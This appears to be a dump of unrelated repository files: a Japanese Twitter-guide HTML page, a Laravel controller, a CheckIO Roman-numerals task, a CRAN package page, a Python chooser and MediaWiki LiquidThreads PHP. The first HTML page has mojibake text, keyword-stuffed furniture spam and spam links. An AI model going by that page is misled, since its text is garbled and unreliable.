<span class="num mute xsmall">ããã¼ã«ããæ´ããçµãµã¨ã6ç¹ã»ãã</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ãµã¼ãã¹<br />
<span class="num mute xsmall">3,871人</span>
</span>
</a>
</li>
</ul>
<div class="clearfix"></div>
</div>
</section>
<section class="section">
<h1 class="section-title small sub"><a href="">ãã¤ãã¿ã¼ä½¿ãæ¹ã¬ã¤ã</a></h1>
<div class="section-body-sub">
<ul>
<li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021657134.html">http://sapience.com.tw/logs/site-nipponki/02021657134.html</a></li>
<li class="small dotted lined"><a href="">åºæ¬çãªä½¿ãæ¹</a></li>
<li class="small dotted lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021800613.html">http://sapience.com.tw/logs/site-nipponki/02021800613.html</a></li>
<li class="small dotted lined"><a href="">FAQ ãããã質å</a></li>
<li class="small dotted lined last" last><a href="">ããã¼ã·ã¼ãï¼ã¬ã¼ãã¼ï¼</a></li>
</ul>
</div>
</section>
<div class="section section-fbwidget">
<div class="section-title small sub">Facebook</div>
<div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</div>
</div>
</aside>
<div class="clearfix"></div>
<nav class="contents">
<br />
<a href="" class="link-top absright">ãã¼ã¸ã®ä¸é¨ã¸</a>
</nav>
</div>
<footer id="pagefooter" class="wrapper">
<div class="contents">
<nav>
<ul id="sitemap">
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話é¡</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021633201.html">http://sapience.com.tw/logs/site-nipponki/02021633201.html</a></li>
<li><a href="">ãã¥ã¼ã¹</a></li>
<li><a href="">ããã¼ã»ã¼ã ãã¬ãã¢ã SHR2</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021734515.html">http://sapience.com.tw/logs/site-nipponki/02021734515.html</a></li>
<li><a href="">ã¨ã³ã¿ã¡</a></li>
<li><a href="">IT</a></li>
<li><a href="">ã«ã«ãã£ã¼</a></li>
<li><a href="">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a></li>
<li><a href="">ãç¥ãã</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-matome">ã¾ã¨ã</a></span>
<ul>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">ã³ããã¯ã»ã¢ãã¡</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ã²ã¼ã </a></li>
<li><a href="">æ ç»</a></li>
<li><a href="" class="div-inner small on">TVçªçµ</a></li>
<li><a href="">è¸è½ï¼æµ·å¤ï¼</a></li>
<li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">è¸è½ï¼å½å
ï¼</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">ããéç</a></li>
<li><a href="">Jãªã¼ã°</a></li>
<li><a href="">ããã¼å¸å£10ç¹ã»ãã</a></li>
<li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ã¬ã¸ã§ãã</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021704450.html">http://sapience.com.tw/logs/site-nipponki/02021704450.html</a></li>
<li><a href="">JTC ã°ã¬ã¤ãã·ã¥ããã¼ãµã¼ã¯ã«</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021636634.html">http://sapience.com.tw/logs/site-nipponki/02021636634.html</a></li>
<li><a href="">IT</a></li>
<li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">鳿¥½</a></li>
<li><a href="">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a></li>
<li><a href="">社ä¼</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021755440.html">http://sapience.com.tw/logs/site-nipponki/02021755440.html</a></li>
</ul>
<br class="block clearfix"><br>
</li>
<li class="sitemap-block">
<span class="top-sitemap"><a href="http://sapience.com.tw/logs/site-nipponki/02021756706.html">http://sapience.com.tw/logs/site-nipponki/02021756706.html</a></span>
<ul>
<li><a href="">ã¤ã³ã¿ãã¥ã¼ ä¸è¦§</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span>
<ul>
<li><a href="./index.html">ç·å</a></li>
<li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">æå人ã»è¸è½äºº</a></li>
<li><a href="">ã¨ã³ã¿ã¡</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021700603.html">http://sapience.com.tw/logs/site-nipponki/02021700603.html</a></li>
<li><a href="">ã¡ãã£ã¢</a></li>
<li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ãã¸ãã¹ã»çµæ¸</a></li>
<li><a href="">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a></li>
<li><a href="">ã¹ãã¼ã</a></li>
<li><a href="">ãµã¼ãã¹</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021700902.html">http://sapience.com.tw/logs/site-nipponki/02021700902.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-topics">ç¹å¥ä¼ç»</a></span>
<ul>
<li class="clearfix"><a href="">ã¢ã³ã±ã¼ã</a></li>
<li><a href="">鏿</a></li>
</ul>
</li>
<li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitterä½¿ãæ¹ã¬ã¤ã</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021637332.html">http://sapience.com.tw/logs/site-nipponki/02021637332.html</a></li>
<li><a href="">Twitterã¨ã¯</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021700068.html">http://sapience.com.tw/logs/site-nipponki/02021700068.html</a></li>
<li><a href="">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a></li>
<li><a href="">ãããã質å</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021641940.html">http://sapience.com.tw/logs/site-nipponki/02021641940.html</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-twitter">ãã¤ãã¿ã¼æ¤ç´¢</a></span>
<ul>
<li><a href="">ãã¼ã¯ã¼ãæ¤ç´¢</a></li>
<li><a href="">ã¦ã¼ã¶ã¼ä¼è©±æ¤ç´¢</a></li>
</ul>
<br class="block clearfix"><br>
<span class="top-sitemap"><a href="" class="servicename ti-help">ãã¤ãããã«ã</a></span>
<ul>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021748589.html">http://sapience.com.tw/logs/site-nipponki/02021748589.html</a></li>
<li><a href="">ãããã質å</a></li>
</ul>
</li>
</ul>
</nav>
<div class="clearfix"></div>
</div>
<div id="footer-giftext">
<div class="contents">
<!-- giftext -->
<div class="column footer-giftext">
<div class="column">
<a href="http://sapience.com.tw/logs/site-nipponki/02021703218.html">http://sapience.com.tw/logs/site-nipponki/02021703218.html</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ãã¤ããå
¬å¼Twitter</span>
<a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">ã¤ã³ã°ãªãã·ã¼ã ãã¡ã¹ã ãã¬ã¤ä» ã°ã¬ã¼ã¸ã¥ Inglesina ããã¼ãã§ã¢ ãã¼ãã«ãã§ã¢ æãããã¿ ãã«ãã³ bellunico å®¶å
·?ããã ããã¼ãã§ã¢</a>
</div>
</div>
<div class="column footer-giftext">
<div class="column">
<a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a>
</div>
<div class="giftext icon-m">
<span class="subtitle">ãã¤ããå
¬å¼Facebook</span>
<div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</div>
</div>
</div>
<div class="column footer-giftext twinavismart">
<div class="column">
<a href="" class="altimg icon m ic-twinavismart">ãã¤ããforã¹ãã¼ããã©ã³</a>
</div>
<div class="giftext icon-m">
<span class="subtitle"><a href="">ãã¤ããforã¹ãã¼ããã©ã³</a></span>
<span class="xsmall"><a href="">ã¹ãã¼ããã©ã³ã§ã¢ã¯ã»ã¹ï¼</a></span>
</div>
</div>
<!-- //giftext -->
<div class="clearfix"></div>
</div>
</div>
<div class="contents last">
<ul id="docs" class="centered xsmall">
<li><a href="">ãã¤ãã ãã¼ã </a></li>
<li><a href="">å©ç¨è¦ç´</a></li>
<li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">å人æ
å ±ä¿è·æ¹é</a></li>
<li><a href="">å¥å
¨åã«é¢ããæé</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021652881.html">http://sapience.com.tw/logs/site-nipponki/02021652881.html</a></li>
<li><a href="http://sapience.com.tw/logs/site-nipponki/02021759816.html">http://sapience.com.tw/logs/site-nipponki/02021759816.html</a></li>
<li><a href="">åºåæ²è¼ã«ã¤ãã¦</a></li>
<li class="last"><a href="">ãåãåãã</a>
</ul>
<p class="centered xsmall"><small>Copyright © 2016 All rights reserved.</small></p>
</div>
</footer>
<div class="hide">
<div id="preregister-box">
<p class="preregister-title large">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</p>
<p class="preregister-text">ããã¡ãï¼ã¤ã¯ã¤ï¼<br/>ã¸ã£ã³ãã³ã°ãã¼ã ãã³ã¯ éå
· ãã©ã³ããªã³ ããã¼ Puppy éå
·?ã®ããã® éå
·,ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</p>
<p><a href="" class="btn login preregister-login">Twitterã§ã®èªè¨¼ã«é²ã</a></p>
</div>
</div>
</body>
</html>
|
ForAEdesWeb/AEW25
|
logs/site-nipponki/02021808946.html
|
HTML
|
gpl-2.0
| 82,440
|
<?php
class BaseController extends Controller {
/**
* Sets up a Before filter on all controllers on all POSTS to make sure the CSRF is
* verified
*/
public function __construct()
{
$this->beforeFilter('csrf', array('on' => array('post', 'put', 'delete', 'update')));
}
/**
* Setup the layout used by the controller.
*
* @return void
*/
protected function setupLayout()
{
if ( ! is_null($this->layout))
{
$this->layout = View::make($this->layout);
}
}
}
|
rborriello3/Scholar_Interface
|
app/controllers/BaseController.php
|
PHP
|
gpl-2.0
| 495
|
<!DOCTYPE html>
<html lang="en">
<meta charset="utf-8">
<title>About – Nap Labs</title>
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Roboto:300,500,500italic,600,700,700italic,800|Source+Code+Pro|Dosis:300,500">
<link rel="stylesheet" href="/static/css/main.min.css">
<link rel="shortcut icon" href="/static/images/icon.png">
<meta name="description" value="Where Nap tinkers with things and makes random stuff.">
<body>
<header>
<h1><a href="/">
<i class="fa fa-rocket"></i>
Nap Labs
</a></h1>
</header>
<main>
<nav>
<ul>
<li >
<a href="/">
<i class="fa fa-flask"></i>
Experiments
</a>
<li class="active">
<a href="/about/">
<i class="fa fa-bomb"></i>
About
</a>
<li >
<a href="/archive/">
<i class="fa fa-archive"></i>
Archive
</a>
</ul>
</nav>
<section>
<p><a href="http://www.nasa.gov/centers/dryden/multimedia/imagegallery/Shuttle-Misc/index.html#lowerAccordion-set1-slide3"><img alt="Image credit: NASA" src="/static/images/banner1.jpg" /></a></p>
<h2 id="who-is-this-"nap"?">Who is this "Nap"?</h2>
<p>Nap is a very curious individual. He loves tinkering with things (<em>TL: breaking</em>) and making random stuff.</p>
<p>You can usually find him attending tech conferences, hackathons, and meetups or at local coffee shops reading books and enjoying his coffee.</p>
</section>
</main>
<footer>
<i class="fa fa-globe"></i>
<select onchange="window.location.href = this.value">
<option
selected value="/about/">
English
</select>
</footer>
|
njncalub/blog
|
docs/about/index.html
|
HTML
|
gpl-2.0
| 1,742
|
<style>
.numeral-table {
margin: auto;
border-collapse: collapse;
text-align: center;
}
.numeral-table * {
border: 1px solid black;
padding: 8px;
width: 50%;
}
</style>
<div class="for_info_only" style="text-align: center">
<img src="{{MEDIA}}title.png" style="max-height: 350px">
</div>
<p>
ローマ数字は古代ローマから伝わる数値の表記法です。
それらは値の合計(または幾つかのケースに置いて差分)を表現するために組み合わせられる
特定のアルファベットに基づいています。
1から10までのローマ数字は以下のとおりです。
</p>
<p>I, II, III, IV, V, VI, VII, VIII, IX, and X.</p>
<p>
ローマ数字は10進数に基づいていますが、位取りが直接的でなく、ゼロを含める事ができません。
ローマ数字は以下の7つの記号の組み合わせで構成されています。
</p>
<table class="numeral-table">
<tr><th>記号</th><th>値</th></tr>
<tr><td>I</td><td>1 (unus)</td></tr>
<tr><td>V</td><td>5 (quinque)</td></tr>
<tr><td>X</td><td>10 (decem)</td></tr>
<tr><td>L</td><td>50 (quinquaginta)</td></tr>
<tr><td>C</td><td>100 (centum)</td></tr>
<tr><td>D</td><td>500 (quingenti)</td></tr>
<tr><td>M</td><td>1,000 (mille)</td></tr>
</table>
<p>ローマ数字に関する、より詳細な情報は
<a href="http://en.wikipedia.org/wiki/Roman_numerals" target="_blank">Wikipediaの記事</a>
より参照できます。
</p>
<p>
この問題では、1から3999までの整数値を使ってローマ数字を返さなければいけません。
</p>
<p>
<strong>入力: </strong> 整数値
</p>
<p>
<strong>出力: </strong> ローマ数字(文字列)
</p>
<div class="for_info_only">
<p><strong>例:</strong></p>
{% if interpreter.slug == "js-node" %}
<pre class="brush: python">romanNumerals(6) == 'VI'
romanNumerals(76) == 'LXXVI'
romanNumerals(13) == 'XIII'
romanNumerals(44) == 'XLIV'
romanNumerals(3999) == 'MMMCMXCIX'
</pre>
{% else %}
<pre class="brush: python">checkio(6) == 'VI'
checkio(76) == 'LXXVI'
checkio(13) == 'XIII'
checkio(44) == 'XLIV'
checkio(3999) == 'MMMCMXCIX'
</pre>
{% endif %}
</div>
<p class="for_info_only">
<strong>どう使われるか: </strong>
これは、数に関する複数の表記体系を学ぶことを目的とした、教育的な課題です。
ローマ数字はタイポグラフィに使用されることが多いので、
テキスト生成のための課題と捉えることもできます。
建物の礎石などに記述された建設年は、ほとんどの場合、ローマ数字で書かれています。
これらの数字は、近代世界において多く利用されており、
<a href="http://en.wikipedia.org/wiki/Roman_numerals#Modern_usage">ここ</a>から読めます。
それか、もしかしたら古代ローマの顧客を持てるかもしれません;-)
</p>
<p>
<strong>条件:</strong> 0 < number < 4000
</p>
|
Bryukh-Checkio-Tasks/checkio-task-roman-numerals
|
translations/ja/info/task_description.html
|
HTML
|
gpl-2.0
| 3,056
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CRAN - Package Rborist</title>
<link rel="stylesheet" type="text/css" href="../../CRAN_web.css" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
table td { vertical-align: top; }
</style>
</head>
<body>
<h2>Rborist: Extensible, Parallelizable Implementation of the Random Forest
Algorithm</h2>
<p>Scalable decision tree training and prediction.</p>
<table summary="Package Rborist summary">
<tr>
<td>Version:</td>
<td>0.1-3</td>
</tr>
<tr>
<td>Depends:</td>
<td><a href="../Rcpp/index.html">Rcpp</a> (≥ 0.12.2), R (≥ 3.1)</td>
</tr>
<tr>
<td>LinkingTo:</td>
<td><a href="../Rcpp/index.html">Rcpp</a>, <a href="../RcppArmadillo/index.html">RcppArmadillo</a></td>
</tr>
<tr>
<td>Suggests:</td>
<td><a href="../testthat/index.html">testthat</a></td>
</tr>
<tr>
<td>Enhances:</td>
<td><a href="../forestFloor/index.html">forestFloor</a></td>
</tr>
<tr>
<td>Published:</td>
<td>2016-08-20</td>
</tr>
<tr>
<td>Author:</td>
<td>Mark Seligman</td>
</tr>
<tr>
<td>Maintainer:</td>
<td>Mark Seligman <mseligman at suiji.org></td>
</tr>
<tr>
<td>License:</td>
<td><a href="https://www.mozilla.org/en-US/MPL/2.0/">MPL version 2.0</a> | <a href="../../licenses/GPL-2">GPL-2</a> | <a href="../../licenses/GPL-3">GPL-3</a> | file <a href="LICENSE">LICENSE</a> [expanded from: MPL (≥ 2) | GPL (≥ 2) | file LICENSE]</td>
</tr>
<tr>
<td>URL:</td>
<td><a href="http://www.suiji.org/arborist">http://www.suiji.org/arborist</a>, <a href="https://github.com/suiji/Arborist">https://github.com/suiji/Arborist</a></td>
</tr>
<tr>
<td>NeedsCompilation:</td>
<td>yes</td>
</tr>
<tr>
<td>SystemRequirements:</td>
<td>gcc (release >= 4.9).</td>
</tr>
<tr>
<td>Materials:</td>
<td><a href="NEWS">NEWS</a> </td>
</tr>
<tr>
<td>In views:</td>
<td><a href="../../views/HighPerformanceComputing.html">HighPerformanceComputing</a>, <a href="../../views/MachineLearning.html">MachineLearning</a></td>
</tr>
<tr>
<td>CRAN checks:</td>
<td><a href="../../checks/check_results_Rborist.html">Rborist results</a></td>
</tr>
</table>
<h4>Downloads:</h4>
<table summary="Package Rborist downloads">
<tr>
<td> Reference manual: </td>
<td> <a href="Rborist.pdf"> Rborist.pdf </a> </td>
</tr>
<tr>
<td> Package source: </td>
<td> <a href="../../../src/contrib/Rborist_0.1-3.tar.gz"> Rborist_0.1-3.tar.gz </a> </td>
</tr>
<tr>
<td> Windows binaries: </td>
<td> r-devel: <a href="../../../bin/windows/contrib/3.5/Rborist_0.1-3.zip">Rborist_0.1-3.zip</a>, r-release: <a href="../../../bin/windows/contrib/3.4/Rborist_0.1-3.zip">Rborist_0.1-3.zip</a>, r-oldrel: <a href="../../../bin/windows/contrib/3.3/Rborist_0.1-3.zip">Rborist_0.1-3.zip</a> </td>
</tr>
<tr>
<td> OS X El Capitan binaries: </td>
<td> r-release: <a href="../../../bin/macosx/el-capitan/contrib/3.4/Rborist_0.1-3.tgz">Rborist_0.1-3.tgz</a> </td>
</tr>
<tr>
<td> OS X Mavericks binaries: </td>
<td> r-oldrel: <a href="../../../bin/macosx/mavericks/contrib/3.3/Rborist_0.1-3.tgz">Rborist_0.1-3.tgz</a> </td>
</tr>
<tr>
<td> Old sources: </td>
<td> <a href="../../../src/contrib/Archive/Rborist"> Rborist archive </a> </td>
</tr>
</table>
<h4>Linking:</h4>
<p>Please use the canonical form
<a href="https://CRAN.R-project.org/package=Rborist"><samp>https://CRAN.R-project.org/package=Rborist</samp></a>
to link to this page.</p>
</body>
</html>
|
esander91/NamespacePollution
|
Code/GetMetaDataFromCRAN/raw_html/Rborist.html
|
HTML
|
gpl-2.0
| 3,680
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Datei-Elemente</title>
<link href="doxygen.css" rel="stylesheet" type="text/css">
</head><body>
<!-- Erzeugt von Doxygen 1.8.13 -->
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
$(function() {
initMenu('',false,false,'search.php','Suchen');
});
</script>
<div id="main-nav"></div>
</div><!-- top -->
<div class="contents">
 
<h3><a id="index_b"></a>- b -</h3><ul>
<li>bcmp
: <a class="el" href="d9/d7c/group__kernel.html#ga5ff0acc4b4213d656c1fb54275543358">Global.h</a>
</li>
<li>bcopy
: <a class="el" href="d9/d7c/group__kernel.html#gaf635d7d022992e16be90be833e7979df">Global.h</a>
</li>
<li>BEGIN
: <a class="el" href="dc/d46/scale__lexer_8cc.html#ab766bbbee08d04b67e3fe599d6900873">scale_lexer.cc</a>
, <a class="el" href="d0/dc8/mutlex_8cc.html#ab766bbbee08d04b67e3fe599d6900873">mutlex.cc</a>
</li>
<li>bindtextdomain
: <a class="el" href="d9/d7c/group__kernel.html#ga7926c2448bec23d65d27f81c25d38a03">Defs.h</a>
, <a class="el" href="d9/d7c/group__kernel.html#ga7926c2448bec23d65d27f81c25d38a03">libintl.h</a>
</li>
<li>BOOST_SP_NOEXCEPT
: <a class="el" href="d9/d7c/group__kernel.html#ga6f540fe41c58710836af4a43188a111c">boost-interface.h</a>
</li>
<li>BOX_H_NAMESPACE
: <a class="el" href="d9/d7c/group__kernel.html#gaeb93ff53b22a9f0484d79bea159fa77c">box.h</a>
</li>
<li>BOX_H_NAMESPACE_END
: <a class="el" href="d9/d7c/group__kernel.html#ga2369f116935e9eb045d922c16bf2f386">box.h</a>
</li>
<li>BracketDeep
: <a class="el" href="d5/dee/group__route.html#ga62b86345e5dd991ff25d78a46c64897f">GSP.cpp</a>
</li>
<li>BUMP
: <a class="el" href="d0/dc8/mutlex_8cc.html#aaa57ce5b37774c972859ce3de8c33730">mutlex.cc</a>
</li>
<li>bzero
: <a class="el" href="d9/d7c/group__kernel.html#gadaaf2b22de5705e2e8190e0b0214268c">Global.h</a>
</li>
</ul>
</div><!-- contents -->
<hr size="1"><address style="align: right;"><small>
Erzeugt am Sam Sep 15 2018 14:57:59 für Mutabor von <a href="http://www.doxygen.org/index.html"><img src="doxygen.png" alt="doxygen" align="middle" border="0"></a> 1.8.13</small></address>
</body>
</html>
|
keinstein/mutabor
|
doc/Doxygen/html/globals_defs_b.html
|
HTML
|
gpl-2.0
| 2,290
|
memerge
=======
Emerge in memory (gentoo)
|
cthuun/memerge
|
README.md
|
Markdown
|
gpl-2.0
| 43
|
"""Pure TTY chooser UI"""
from __future__ import print_function, absolute_import
__author__ = "Stephan Sokolow (deitarion/SSokolow)"
__license__ = "GNU GPL 2 or later"
import os
# Use readline if available but don't depend on it
try:
import readline
# Shut PyFlakes up
readline # pylint: disable=pointless-statement
except ImportError:
pass
def parse_choice(in_str):
"""Parse a string containing one or more integers or Python ranges
separated by commas.
@returns: A list of integers
@attention: Unlike Python, this treats ranges as inclusive of the upper
bound.
"""
try:
return [int(in_str)]
except ValueError:
choices = []
for x in in_str.replace(',', ' ').split():
try:
choices.append(int(x))
except ValueError:
try:
first, last = [int(y) for y in x.split(':', 1)]
choices.extend(range(first, last + 1))
except ValueError:
print("Not an integer or range: %s" % x)
return choices
# TODO: Document and, if necessary, refactor
def choose(results, strip_path, enqueue):
# Draw the menu
for pos, val in enumerate(results):
val = strip_path and os.path.basename(val) or val
print("%3d) %s" % (pos + 1, val))
choices = raw_input("Choice(s) (Ctrl+C to cancel): ")
if 'q' in choices.lower():
enqueue = True
choices = choices.replace('q', '') # FIXME: This will distort
# the "Not an integer" message for values containing "q".
output = []
for index in parse_choice(choices):
if index > 0 and index <= len(results):
output.append(results[index - 1])
else:
print("Invalid result index: %d" % index)
return output, enqueue
|
ssokolow/lap
|
lap/ui/fallback_chooser.py
|
Python
|
gpl-2.0
| 1,853
|
<?php
/**
* @package MediaWiki
* @subpackage LiquidThreads
* @author David McCabe <davemccabe@gmail.com>
* @licence GPL2
*/
if( !defined( 'MEDIAWIKI' ) ) {
echo( "This file is an extension to the MediaWiki software and cannot be used standalone.\n" );
die( -1 );
}
class LqtDispatch {
public static $views = array(
'TalkpageArchiveView' => 'TalkpageArchiveView',
'TalkpageHeaderView' => 'TalkpageHeaderView',
'TalkpageView' => 'TalkpageView',
'ThreadHistoryListingView' => 'ThreadHistoryListingView',
'ThreadHistoricalRevisionView' => 'ThreadHistoricalRevisionView',
'IndividualThreadHistoryView' => 'IndividualThreadHistoryView',
'ThreadDiffView' => 'ThreadDiffView',
'ThreadPermalinkView' => 'ThreadPermalinkView',
'ThreadProtectionFormView' => 'ThreadProtectionFormView',
'ThreadWatchView' => 'ThreadWatchView',
'SummaryPageView' => 'SummaryPageView'
);
static function talkpageMain(&$output, &$talk_article, &$title, &$user, &$request) {
// We are given a talkpage article and title. Find the associated
// non-talk article and pass that to the view.
$article = new Article($title->getSubjectPage());
if( $title->getSubjectPage()->getNamespace() == NS_LQT_THREAD ) {
// Threads don't have talk pages; redirect to the thread page.
$output->redirect($title->getSubjectPage()->getFullUrl());
}
/* Certain actions apply to the "header", which is stored in the actual talkpage
in the database. Drop everything and behave like a normal page if those
actions come up, to avoid hacking the various history, editing, etc. code. */
$action = $request->getVal('action');
$header_actions = array('history', 'edit', 'submit');
global $wgRequest;
if ($request->getVal('lqt_method', null) === null &&
( in_array( $action, $header_actions ) ||
$request->getVal('diff', null) !== null ) ) {
$viewname = self::$views['TalkpageHeaderView'];
} else if ( $action == 'protect' || $action == 'unprotect' ) {
$viewname = self::$views['ThreadProtectionFormView'];
} else if ( $request->getVal('lqt_method') == 'talkpage_archive' ) {
$viewname = self::$views['TalkpageArchiveView'];
} else {
$viewname = self::$views['TalkpageView'];
}
$view = new $viewname( $output, $article, $title, $user, $request );
return $view->show();
}
static function threadPermalinkMain(&$output, &$article, &$title, &$user, &$request) {
$action = $request->getVal('action');
$lqt_method = $request->getVal('lqt_method');
if( $lqt_method == 'thread_history' ) {
$viewname = self::$views['ThreadHistoryListingView'];
}
else if ( $lqt_method == 'diff' ) { // this clause and the next must be in this order.
$viewname = self::$views['ThreadDiffView'];
}
else if ( $action == 'history'
|| $request->getVal('diff', null) !== null
|| $request->getVal('oldid', null) !== null ) {
$viewname = self::$views['IndividualThreadHistoryView'];
}
else if ( $action == 'protect' || $action == 'unprotect' ) {
$viewname = self::$views['ThreadProtectionFormView'];
}
else if ( $request->getVal('lqt_oldid', null) !== null ) {
$viewname = self::$views['ThreadHistoricalRevisionView'];
}
else if( $action == 'watch' || $action == 'unwatch' ){
$viewname = self::$views['ThreadWatchView'];
}
else {
$viewname = self::$views['ThreadPermalinkView'];
}
$view = new $viewname( $output, $article, $title, $user, $request );
return $view->show();
}
static function threadSummaryMain(&$output, &$article, &$title, &$user, &$request) {
$viewname = self::$views['SummaryPageView'];
$view = new $viewname( $output, $article, $title, $user, $request );
return $view->show();
}
/**
* If the page we recieve is a Liquid Threads page of any kind, process it
* as needed and return True. If it's a normal, non-liquid page, return false.
*/
static function tryPage( $output, $article, $title, $user, $request ) {
if ( $title->isTalkPage() ) {
return self::talkpageMain ($output, $article, $title, $user, $request);
} else if ( $title->getNamespace() == NS_LQT_THREAD ) {
return self::threadPermalinkMain($output, $article, $title, $user, $request);
} else if ( $title->getNamespace() == NS_LQT_SUMMARY ) {
return self::threadSummaryMain($output, $article, $title, $user, $request);
}
return true;
}
static function onPageMove( $movepage, $ot, $nt ) {
// We are being invoked on the subject page, not the talk page.
$threads = Threads::where( array( Threads::articleClause(new Article($ot)),
Threads::topLevelClause() ));
foreach ($threads as $t) {
$t->moveToSubjectPage( $nt, false );
}
return true;
}
static function makeLinkObj( &$returnValue, &$linker, $nt, $text, $query, $trail, $prefix ) {
if( ! $nt->isTalkPage() )
return true;
// Talkpages with headers.
if( $nt->getArticleID() != 0 )
return true;
// Talkpages without headers -- check existance of threads.
$article = new Article($nt->getSubjectPage());
$threads = Threads::where(Threads::articleClause($article), "LIMIT 1");
if( count($threads) == 0 ) {
// We want it to look like a broken link, but not have action=edit, since that
// will edit the header, so we can't use makeBrokenLinkObj. This code is copied
// from the body of that method.
$url = $nt->escapeLocalURL( $query );
if ( '' == $text )
$text = htmlspecialchars( $nt->getPrefixedText() );
$style = $linker->getInternalLinkAttributesObj( $nt, $text, "yes" );
list( $inside, $trail ) = Linker::splitTrail( $trail );
